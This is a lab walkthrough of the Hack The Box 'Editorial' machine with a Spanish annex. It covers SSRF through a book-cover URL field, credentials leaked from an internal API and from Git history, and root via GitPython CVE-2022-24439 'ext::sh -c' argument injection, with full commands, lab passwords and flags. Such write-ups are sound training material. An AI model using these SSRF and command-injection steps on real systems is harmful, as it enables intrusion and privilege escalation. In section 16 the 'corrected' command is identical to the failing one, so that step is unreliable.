



HACK THE BOX · LINUX

Editorial

Complete technical writeup ·
reproducible exploitation

Editorial Machine Solved

HTB Editorial · 2026-04-24

Author	Ramon Santos Sabarich / r4ms4nt
Platform	Hack The Box
Status	Retired
Difficulty	Easy
System	Linux
Resolution date	2026-04-24



Standardized technical report for archiving,
reference, and traceability.

READING GUIDE

Contents

Technical report prepared for archive, consultation, and traceability. The document preserves the validated technical sequence and presents it with a clean structure for reading and study.

- 1. Case introduction
 - Main verified facts
 - Reasonable inferences
 - Operational incidents, not exploitation findings
- 2. Preparation and startup
- 3. Initial port and service enumeration
 - Interpretation
- 4. Base web observation
 - Interpretation
- 5. `/upload` analysis and real flow detection
- 6. SSRF confirmation in `/upload-cover`
 - Interpretation
- 7. Internal service exploration through SSRF
- 8. Querying the internal authors endpoint
- 9. SSH access as dev and user flag
- 10. Local Git repository enumeration
- 11. Extracting historical credentials from Git
- 12. Lateral movement to `prod`
- 13. Privileged script analysis
- 14. Benign validation of the privileged flow
- 15. Restoring the environment after the benign test
- 16. Execution as root through GitPython
- 17. Obtaining root
- 18. Final technical summary
 - Entry point
 - Initial primitive
 - Internal pivot
 - Foothold
 - Lateral movement
 - Escalation
 - Root
- 19. Reusable lessons
 - 1. A corporate-looking web application can hide a critical backend action

- 2. SSRF must be validated with external evidence
 - 3. `localhost` must be read from the server's perspective
 - 4. A `404` on `/` does not rule out an internal API
 - 5. Git history can be more valuable than the working tree
 - 6. A credential must be validated, not assumed
 - 7. `sudo -l` maps controlled input
 - 8. A library version matters only in an exploitable context
 - 9. Benign tests can modify state
 - 10. A final tool error does not prove failure
- A.1 Preparación inicial y descubrimiento de servicios
 - A.2 Observación web base
 - A.3 Análisis de `/upload`
 - A.4 Confirmación de SSRF
 - A.5 Enumeración de servicios internos mediante SSRF
 - A.6 Extracción de credenciales desde la API interna
 - A.7 Acceso SSH y flag de usuario
 - A.8 Revisión del repositorio Git
 - A.9 Credenciales históricas de prod
 - A.10 Movimiento lateral y revisión de `sudo`
 - A.11 Análisis del script privilegiado
 - A.12 Validación controlada del flujo privilegiado
 - A.13 Recreación de instancia y estado limpio
 - A.14 Ejecución como root y lectura de la flag final

HTB Editorial — Complete technical report

1. Case introduction

Editorial is an Easy Linux Hack The Box machine focused on web exploitation, abuse of internal trust relationships, and local privilege escalation through development artifacts.

The validated compromise chain was:

```
Initial enumeration
→ Nginx web application identified
→ /upload analysis
→ SSRF in /upload-cover through bookurl
→ indirect access to an internal API on 127.0.0.1:5000
→ dev credentials
→ SSH as dev
→ Git repository review in ~/apps
→ historical prod credentials
→ sudo on a Python script using GitPython
→ execution as root
→ reading root.txt
```

The key lesson is that the public web surface should not be treated as isolated. The site did not provide direct access, but it exposed a feature that made the backend retrieve a user-supplied URL. Once validated, that primitive allowed requests to `localhost` from the target server's perspective and revealed an internal API that was not visible through the external Nmap scan.

The second major lesson is post-exploitation oriented: an apparently empty Git repository, or one where files have been deleted, can still contain valuable history. In this case, the Git history preserved a previous production credential that enabled lateral movement from dev to prod.

Main verified facts

- The initial IP was 10.129.33.109.
- After recreating the instance to clean the environment, the IP changed to 10.129.33.149.
- The initial open ports were 22/tcp and 80/tcp.
- Port 80 served an Nginx website redirecting to `editorial.htb`.
- `/upload` exposed a publishing form with a `bookurl` field.
- `/upload-cover` made a backend request to the URL supplied by the user.
- The SSRF allowed querying 127.0.0.1:5000.
- `/api/latest/metadata/messages/authors` exposed credentials for dev.
- The dev credentials allowed SSH access.
- A Git repository existed in `/home/dev/apps`.
- A historical commit revealed credentials for prod.
- prod could execute `/opt/internal_apps/clone_changes/clone_prod_change.py` as root.
- The script used GitPython 3.1.29 and `Repo.clone_from()` with a controlled URL.
- Root execution was confirmed by writing `id` output to `/tmp/root_check`.
- The root flag was obtained by writing `/root/root.txt` to `/tmp/root_flag`.

Reasonable inferences

- TTL 63 reasonably suggested Linux, later reinforced by OpenSSH and Nginx Ubuntu banners.
- The `bookurl` field suggested a possible backend HTTP fetch, but SSRF was only confirmed after receiving a real callback.
- `127.0.0.1:5000` looked like an internal API because it produced a distinct response and returned 404 on `/`, proving a service existed even if the root path was not useful.
- The `commit change(api): downgrading prod to dev` was treated as sensitive because it suggested production configuration had been replaced by development configuration.
- The combination of `sudo`, `GitPython`, `Repo.clone_from()`, controlled input, and `protocol.ext.allow=always` indicated a likely escalation path via `GitPython/CVE-2022-24439`.

Operational incidents, not exploitation findings

- `HEAD /upload → 500` was treated as anomalous behavior, not as the main route, because `GET /upload` worked correctly.
- `curl: (23) Failure writing output to destination` was a local shell/output issue, not target behavior.
- `WARNING: terminal is not fully functional` affected Git paging, not exploitation.
- Typing the password directly into Bash triggered event `not found` because of `!`; the credential itself remained valid.
- A benign test dirtied `/opt/internal_apps/clone_changes/`, requiring the instance to be recreated.

2. Preparation and startup

The case began with the `Inici-HTB` startup script. Its purpose was to organize the workspace, set the target, check connectivity, run full port enumeration, and profile services before any exploitation attempt.

```
Inici-HTB EDITORIAL 10.129.33.109
```

Connectivity was validated with `ping`:

```
64 bytes from 10.129.33.109: icmp_seq=1 ttl=63 time=38.4 ms
1 packets transmitted, 1 received, 0% packet loss
```

The important fact was not only that the host replied, but that the HTB VPN path was functional and no basic network issue was blocking the lab.

3. Initial port and service enumeration

The initial TCP surface was very small:

```
22/tcp open ssh
80/tcp open http
```

The service scan showed:

```
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
```

Interpretation

- 22/tcp was SSH, but without credentials it was only a secondary surface.
- 80/tcp was HTTP and revealed the hostname `editorial.htb`.
- The redirect showed that the application depended on virtual-host routing.

The main branch became WEB-BASE, while SSH remained pending credentials.

The hostname was added locally:

```
echo "10.129.33.109 editorial.htb" | sudo tee -a /etc/hosts
```

4. Base web observation

After resolving the hostname, the web application was reviewed passively:

```
curl -sS -I http://editorial.htb
curl -sS http://editorial.htb | head -n 60
whatweb http://editorial.htb
curl -sS http://editorial.htb/robots.txt
curl -sS http://editorial.htb | grep -oP 'href="\K[^"]+' | sort -u
curl -sS http://editorial.htb | grep -Ei
'login|signin|admin|panel|auth|password|reset|forgot|api|graphql|ajax|upload|cover|book|publish'
```

The site responded with HTTP/1.1 200 OK through nginx/1.18.0 (Ubuntu). whatweb detected Bootstrap, HTML5, Nginx, and the title Editorial Tiempo Arriba.

No login, admin panel, or CMS was observed. `robots.txt` returned 404 Not Found.

The important route was:

```
/upload
```

It appeared in the navigation as:

```
Publish with us
```

Interpretation

The site looked corporate, but `/upload` represented a real business feature: editorial submission. Since that route was already visible in the HTML, reviewing it was more useful than broad fuzzing.

5. /upload analysis and real flow detection

The route was reviewed:

```
curl -sS -I http://editorial.htb/upload
curl -sS http://editorial.htb/upload | head -n 120
curl -sS http://editorial.htb/upload | grep -Ei
'form|input|textarea|button|method|action|enctype|file|url|upload|cover|book'
curl -sS http://editorial.htb/upload | grep -oP
'name="\K[^"]+|action="\K[^"]+|method="\K[^"]+|type="\K[^"]+' | sort -u
```

GET /upload returned Publish Your Book With Us. HEAD /upload returned 500 INTERNAL SERVER ERROR, which was noted but not used as the primary path.

Two flows appeared:

- 1. A main editorial submission form.
- 2. A cover preview form.

The relevant form was:

```
<form id="form-cover" method="post" enctype="multipart/form-data">
<input type="text" name="bookurl" id="bookurl" placeholder="Cover URL related to your book or">
<input type="file" name="bookfile" id="bookfile">
<button type="submit" id="button-cover">Preview</button>
</form>
```

The JavaScript submitted it via AJAX:

```
var formData = new FormData(document.getElementById('form-cover'));
xhr.open('POST', '/upload-cover');
...
document.getElementById('bookcover').src = imgUrl;
xhr.send(formData);
```

The key endpoint became:

```
POST /upload-cover
```

The key parameter was:

```
bookurl
```

At this point SSRF was a hypothesis: if the backend fetched bookurl, a URL pointing to the attacker should produce an outbound request from the target.

6. SSRF confirmation in /upload-cover

An empty file was prepared for bookfile:

```
touch /tmp/empty-bookfile
```

A listener was started:

```
nc -lnvp 5555
```

Then a controlled request was sent:

```
curl -sS -X POST http://editorial.htb/upload-cover -F "bookurl=http://10.10.15.26:5555/" -F
"bookfile=@/tmp/empty-bookfile"
```

The application returned the default image path:

```
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
```

The listener received:

```
GET / HTTP/1.1
Host: 10.10.15.26:5555
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

Interpretation

The incoming request confirmed SSRF. The User-Agent indicated use of Python requests, and the active branch changed from WEB-BASE to internal-service exploration through SSRF.

7. Internal service exploration through SSRF

The first test was 127.0.0.1:80:

```
curl -sS -X POST http://editorial.htb/upload-cover -F "bookurl=http://127.0.0.1:80/" -F "bookfile=@/tmp/empty-bookfile"
```

It returned the default image. Then 127.0.0.1:5000 was tested:

```
curl -sS -X POST http://editorial.htb/upload-cover -F "bookurl=http://127.0.0.1:5000/" -F "bookfile=@/tmp/empty-bookfile"
```

This time the response was different:

```
static/uploads/41438411-4d2d-4d2e-b5ff-860d5a7832fe
```

The artifact was downloaded:

```
mkdir -p loot notes scans
curl -sS http://editorial.htb/static/uploads/41438411-4d2d-4d2e-b5ff-860d5a7832fe -o
loot/ssrf_127.0.0.1_5000
file loot/ssrf_127.0.0.1_5000
cat loot/ssrf_127.0.0.1_5000 | jq
```

The file was HTML, not JSON:

```
HTML document, ASCII text
parse error: Invalid numeric literal at line 1, column 10
```

The content showed a 404 Not Found page. That did not invalidate the service; it proved a service existed on port 5000, but / was not useful.

8. Querying the internal authors endpoint

The useful internal endpoint was:

```
/api/latest/metadata/messages/authors
```

It was queried through the SSRF:


```
RESP=$(curl -sS -X POST http://editorial.htb/upload-cover -F
"bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors" -F
"bookfile=@/tmp/empty-bookfile")

echo "$RESP"

curl -sS "http://editorial.htb/$RESP" -o loot/ssrf_authors.json
file loot/ssrf_authors.json
cat loot/ssrf_authors.json | jq
```

The request returned a downloadable JSON resource. Its relevant content was:

```
{
  "template_mail_message": "Welcome to the team! ...\n\nYour login credentials for our internal
forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@n..."
}
```

Recovered credentials:

```
User: dev
Password: dev080217_devAPI!@
```

The active branch became:

```
SSRF / internal API → Credentials → SSH validation
```

9. SSH access as dev and user flag

The credentials were tested over SSH:

```
ssh dev@10.129.33.109
```

Password:

```
dev080217_devAPI!@
```

Authentication succeeded. The context was validated:

```
id
hostname
pwd
ls -la
cat user.txt
```

Relevant output:

```
uid=1001(dev) gid=1001(dev) groups=1001(dev)
hostname: editorial
pwd: /home/dev
```

User flag:

```
717c0463923c0970cef9be01cca8d726
```

The dominant post-foothold finding was:

```
/home/dev/apps
```

This suggested reviewing code, configuration, and Git history.

10. Local Git repository enumeration

Inside ~/apps:

```
cd ~/apps
pwd
ls -la
find . -maxdepth 3 -type d -name ".git" -o -type f | sort | head -n 80
```

The directory contained only .git, indicating that the working tree had been deleted while the repository history remained.

git status showed deleted files such as:

```
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/templates/upload.html
...
```

The pager issue was handled with:

```
export PAGER=cat
export GIT_PAGER=cat
stty sane
git --no-pager log --oneline --decorate --all
```

Commit history:

```
8ad0f31 (HEAD -> master) fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app
```

The most interesting commit was:

```
b73481b change(api): downgrading prod to dev
```

It suggested replacement of production configuration with development configuration.

11. Extracting historical credentials from Git

The commit and the specific file were inspected:

```
git --no-pager show b73481b
git --no-pager show b73481b -- app_api/app.py
git --no-pager show b73481b -- app_api/app.py | grep -Ei
'user|username|pass|password|credential|prod|dev'
```

Relevant diff:

```
- Username: prod
- Password: 080217_Producti0n_2023!@
+ Username: dev
+ Password: dev080217_devAPI!@
```

Recovered credentials:

```
User: prod
Password: 080217_Producti0n_2023!@
```

This enabled local lateral movement.

12. Lateral movement to prod

The credential was validated locally:

```
su prod
```

Password:

```
080217_Producti0n_2023!@
```

Context validation:

```
id
whoami
pwd
hostname
```

Output:

```
uid=1000(prod) gid=1000(prod) groups=1000(prod)
whoami: prod
hostname: editorial
```

sudo -l showed:

```
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

The final * meant the user controlled an argument passed to a root-executed script.

13. Privileged script analysis

The script was reviewed:

```
ls -la /opt/internal_apps/clone_changes/
ls -la /opt/internal_apps/clone_changes/clone_prod_change.py
file /opt/internal_apps/clone_changes/clone_prod_change.py
sed -n '1,200p' /opt/internal_apps/clone_changes/clone_prod_change.py
```

Permissions:

```
-rwxr-x--- 1 root prod 256 Jun 4 2024 clone_prod_change.py
```

Content:

```
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

GitPython version:

```
GitPython: 3.1.29
```

Critical signals:

- Executed as root via sudo.
- Uses `sys.argv[1]` as a URL controlled by prod.
- Calls GitPython `Repo.clone_from()`.
- Enables `protocol.ext.allow=always`.
- Writes under `/opt/internal_apps/clone_changes`.

Escalation candidate:

```
Identifier: CVE-2022-24439
Component: GitPython
Observed version: 3.1.29
Context: script executed as root via sudo
Controlled input: sys.argv[1]
Sensitive function: Repo.clone_from()
Critical signal: protocol.ext.allow=always
Priority: high
```

14. Benign validation of the privileged flow

A benign local repository was created:

```
cd /tmp
rm -rf benign_repo benign_clone_test
mkdir benign_repo
cd benign_repo
git init
echo "test benigno editorial" > README.md
git add README.md
git commit -m "benign test"
```

The commit failed because Git identity was not configured:

```
Author identity unknown
fatal: unable to auto-detect email address
```

Even so, the privileged script was tested:

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py
file:///tmp/benign_repo
```

The result showed a root-owned directory:

```
drwxr-xr-x 3 root root 4096 Apr 24 14:59 new_changes
/opt/internal_apps/clone_changes/new_changes: directory
```

This confirmed root execution, but dirtied the target directory and required a clean instance.

15. Restoring the environment after the benign test

Reopening SSH did not clean the created artifacts. A real Stop/Spawn or instance recreation was required. The IP changed from:

```
10.129.33.109
```

to:

```
10.129.33.149
```

The hosts file and target were updated:

```
sudo sed -i '/editorial.htb/d' /etc/hosts
echo "10.129.33.149 editorial.htb" | sudo tee -a /etc/hosts
settarget 10.129.33.149 EDITORIAL
```

Access was recovered:

```
ssh dev@10.129.33.149
su prod
```

The privileged directory was clean again:

```
total 12
drwxr-x--- 2 root prod 4096 Jun 5 2024 .
drwxr-xr-x 5 www-data www-data 4096 Jun 5 2024 ..
-rwxr-x--- 1 root prod 256 Jun 4 2024 clone_prod_change.py
```

Minor incidents such as typing `su pro` or entering the password in Bash were operational mistakes and not exploitation findings.

16. Execution as root through GitPython

Direct root access was not available:

```
id
whoami
hostname
pwd
cat /root/root.txt
```

Direct reading failed:

```
cat: /root/root.txt: Permission denied
```

A first attempt failed due to remote-ext formatting:

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c id%>/tmp/root_check'
```

Error:

```
fatal: Bad remote-ext placeholder '%>'.
```

The format was corrected by adding a space after %:

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c id%>/tmp/root_check'
```

Git still ended with an error:

```
fatal: Could not read from remote repository.
```

But the side effect proved root execution:

```
cat /tmp/root_check 2>&1
```

```
uid=0(root) gid=0(root) groups=0(root)
```

The key lesson is that a final Git error does not mean the command did not execute.

17. Obtaining root

The same primitive was used to read /root/root.txt:

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >/tmp/root_flag'
```

Git returned an error, but the output file contained the flag:

```
cat /tmp/root_flag 2>&1
```

```
cdcea83d12a66309ca7eb4085ffdd8b8
```

Final flags:

```
user.txt: 717c0463923c0970cef9be01cca8d726
root.txt: cdcea83d12a66309ca7eb4085ffdd8b8
```

Validated chain:

```
WEB-BASE
→ SSRF in /upload-cover
→ internal API on 127.0.0.1:5000
→ dev credentials
→ SSH as dev
→ Git repository in ~/apps
→ historical prod credentials
→ sudo on clone_prod_change.py
→ GitPython / remote-ext
→ execution as root
→ root.txt
```


18. Final technical summary

Entry point

The entry point was SSRF in `/upload-cover`, triggered through the `bookurl` parameter of the cover preview form.

Initial primitive

The backend made an HTTP request to the URL supplied by the user. This was confirmed with an nc listener that received a connection from the target with `User-Agent: python-requests/2.25.1`.

Internal pivot

The SSRF allowed access to `127.0.0.1:5000`, where an internal API was listening. `/` returned 404, but `/api/latest/metadata/messages/authors` returned credentials.

Foothold

`dev / dev080217_devAPI!@` allowed SSH access and reading `user.txt`.

Lateral movement

The Git history under `/home/dev/apps` exposed production credentials:

```
prod / 080217_Producti0n_2023!@
```

Those credentials allowed switching to prod.

Escalation

prod could run the following as root:

```
/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

The script used `GitPython 3.1.29`, `Repo.clone_from()`, and `protocol.ext.allow=always` with a controlled URL.

Root

Root command execution was obtained non-interactively and `/root/root.txt` was written to `/tmp/root_flag`.

19. Reusable lessons

1. A corporate-looking web application can hide a critical backend action

The main page had no login or panel. The value was in a business feature: previewing a cover from a URL.

```
Form with external URL → check whether the backend requests that URL → validate SSRF with a listener
```

2. SSRF must be validated with external evidence

A field named `url` is not enough. The SSRF was confirmed when the server connected to the attacker-controlled listener.

3. `localhost` must be read from the server's perspective

`http://127.0.0.1:5000/` points to the target server itself, not to the attacker.

4. A 404 on `/` does not rule out an internal API

The service existed; only a valid endpoint was missing.

5. Git history can be more valuable than the working tree

Deleted files did not matter because `.git` preserved the history.

6. A credential must be validated, not assumed

The prod credential only became confirmed after `su prod` worked and the context was verified.

7. `sudo -l` maps controlled input

`clone_prod_change.py` * was critical because the user controlled the URL argument.

8. A library version matters only in an exploitable context

GitPython 3.1.29 mattered because it was used inside a root-executed script with controlled input.

9. Benign tests can modify state

The local clone test confirmed root execution but created root-owned artifacts.

10. A final tool error does not prove failure

Git errored, but `/tmp/root_check` and `/tmp/root_flag` showed that the command had executed.

Anexo A — Registro cronológico depurado

Este anexo presenta una secuencia operativa depurada del caso, centrada en comandos, salidas y evidencias útiles para consulta posterior.

A.1 Preparación inicial y descubrimiento de servicios

Inici-HTB EDITORIAL 10.129.33.109

Salida relevante:

```
PING 10.129.33.109 (10.129.33.109) 56(84) bytes of data.  
64 bytes from 10.129.33.109: icmp_seq=1 ttl=63 time=38.4 ms
```

```
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7  
80/tcp open http nginx 1.18.0 (Ubuntu)  
http-title: Did not follow redirect to http://editorial.htb
```

Configuración local del virtual host:

```
echo "10.129.33.109 editorial.htb" | sudo tee -a /etc/hosts
```

A.2 Observación web base

```
curl -sS -I http://editorial.htb  
curl -sS http://editorial.htb | head -n 60  
whatweb http://editorial.htb  
curl -sS http://editorial.htb/robots.txt  
curl -sS http://editorial.htb \  
| grep -oP 'href="\K[^"]+|src="\K[^"]+' \  
| sort -u
```

Salida relevante:

```
HTTP/1.1 200 OK  
Server: nginx/1.18.0 (Ubuntu)  
Title: Editorial Tiempo Arriba  
robots.txt: 404 Not Found  
/upload
```

La ruta /upload quedó priorizada porque correspondía a una funcionalidad real de publicación.

A.3 Análisis de /upload

```
curl -sS -I http://editorial.htb/upload  
curl -sS http://editorial.htb/upload | head -n 120  
curl -sS http://editorial.htb/upload \  
| grep -Ei 'form|input|textarea|button|method|action|enctype|file|url|upload|cover|book'
```

Elementos relevantes del formulario:

```
<form id="form-cover" method="post" enctype="multipart/form-data">  
<input type="text" name="bookurl" id="bookurl">  
<input type="file" name="bookfile" id="bookfile">  
xhr.open('POST', '/upload-cover');
```

El endpoint relevante pasó a ser POST /upload-cover con el parámetro bookurl.

A.4 Confirmación de SSRF

Listener local:

```
nc -lnvp 5555
```

Petición de validación:

```
touch /tmp/empty-bookfile  
curl -sS -X POST http://editorial.htb/upload-cover \  
-F "bookurl=http://10.10.15.26:5555/" \  
-F "bookfile=@/tmp/empty-bookfile"
```

Evidencia recibida en el listener:

```
GET / HTTP/1.1
Host: 10.10.15.26:5555
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

La conexión entrante confirmó que el servidor realizaba peticiones HTTP hacia la URL indicada.

A.5 Enumeración de servicios internos mediante SSRF

Prueba contra el puerto interno 5000:

```
curl -sS -X POST http://editorial.htb/upload-cover \
-F "bookurl=http://127.0.0.1:5000/" \
-F "bookfile=@/tmp/empty-bookfile"
```

Salida relevante:

```
static/uploads/41438411-4d2d-4d2e-b5ff-860d5a7832fe
```

Descarga e inspección:

```
mkdir -p loot notes scans
curl -sS http://editorial.htb/static/uploads/41438411-4d2d-4d2e-b5ff-860d5a7832fe \
-o loot/ssrf_127.0.0.1_5000
file loot/ssrf_127.0.0.1_5000
head -n 80 loot/ssrf_127.0.0.1_5000
```

Salida relevante:

```
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
```

El servicio existía, pero la ruta / no era el endpoint útil.

A.6 Extracción de credenciales desde la API interna

```
RESP=$(curl -sS -X POST http://editorial.htb/upload-cover \
-F "bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors" \
-F "bookfile=@/tmp/empty-bookfile")

echo "$RESP"
curl -sS "http://editorial.htb/$RESP" -o loot/ssrf_authors.json
file loot/ssrf_authors.json
cat loot/ssrf_authors.json | jq
```

Salida relevante:

```
{
  "template_mail_message": "... Username: dev\nPassword: dev080217_devAPI!@ ..."
}
```

Credenciales recuperadas:

```
Usuario: dev
Contraseña: dev080217_devAPI!@
```

A.7 Acceso SSH y flag de usuario

```
ssh dev@10.129.33.109
id
hostname
pwd
ls -la
cat user.txt
```

Salida relevante:

```
uid=1001(dev) gid=1001(dev) groups=1001(dev)
hostname: editorial
pwd: /home/dev
user.txt: 717c0463923c0970cef9be01cca8d726
```

A.8 Revisión del repositorio Git

```
cd ~/apps
pwd
ls -la
find . -maxdepth 3 -type d -name ".git" -o -type f | sort | head -n 80
git status
export PAGER=cat
export GIT_PAGER=cat
stty sane
git --no-pager log --oneline --decorate --all
```

Salida relevante:

```
/home/dev/apps
.git
8ad0f31 fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app
```

A.9 Credenciales históricas de prod

```
git --no-pager show b73481b -- app_api/app.py
git --no-pager show b73481b -- app_api/app.py \
| grep -Ei 'user|username|pass|password|credential|prod|dev'
```

Diff relevante:

```
- Username: prod
- Password: 080217_Producti0n_2023!@
+ Username: dev
+ Password: dev080217_devAPI!@
```

Credenciales recuperadas:

```
Usuario: prod
Contraseña: 080217_Producti0n_2023!@
```

A.10 Movimiento lateral y revisión de sudo

```
su prod
id
whoami
hostname
pwd
sudo -l
```

Salida relevante:

```
uid=1000(prod) gid=1000(prod) groups=1000(prod)
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

A.11 Análisis del script privilegiado

```
ls -la /opt/internal_apps/clone_changes/
ls -la /opt/internal_apps/clone_changes/clone_prod_change.py
file /opt/internal_apps/clone_changes/clone_prod_change.py
sed -n '1,200p' /opt/internal_apps/clone_changes/clone_prod_change.py
python3 - <<'PY'
import git
print(git.__version__)
PY
```

Contenido relevante:

```
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

Versión observada:

```
GitPython: 3.1.29
```

A.12 Validación controlada del flujo privilegiado

```
cd /tmp
rm -rf benign_repo benign_clone_test
mkdir benign_repo
cd benign_repo
git init
echo "test benigno editorial" > README.md
git add README.md
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py
file:///tmp/benign_repo
ls -la /opt/internal_apps/clone_changes/
```

Salida relevante:

```
drwxr-xr-x 3 root root 4096 Apr 24 14:59 new_changes
```

La prueba confirmó ejecución como root, pero alteró el directorio de trabajo del script. Para recuperar el estado limpio se recreó la instancia de la máquina.

A.13 Recreación de instancia y estado limpio

La instancia se recreó y la IP cambió a 10.129.33.149.

```
sudo sed -i '/editorial.htb/d' /etc/hosts
echo "10.129.33.149 editorial.htb" | sudo tee -a /etc/hosts
settarget 10.129.33.149 EDITORIAL
ssh dev@10.129.33.149
su prod
ls -la /opt/internal_apps/clone_changes/
```

Estado limpio observado:

```
total 12
drwxr-x--- 2 root prod 4096 Jun 5 2024 .
drwxr-xr-x 5 www-data www-data 4096 Jun 5 2024 ..
-rwxr-x--- 1 root prod 256 Jun 4 2024 clone_prod_change.py
```

A.14 Ejecución como root y lectura de la flag final

Validación de ejecución como root:

```
cd /tmp
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c id%'
>/tmp/root_check'
cat /tmp/root_check 2>&1
```

Salida relevante:

```
uid=0(root) gid=0(root) groups=0(root)
```

Lectura de root.txt:

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat%
/root/root.txt% >/tmp/root_flag'
cat /tmp/root_flag 2>&1
```

Salida relevante:

```
cdcea83d12a66309ca7eb4085ffdd8b8
```

La máquina se completó con user.txt y root.txt recuperadas.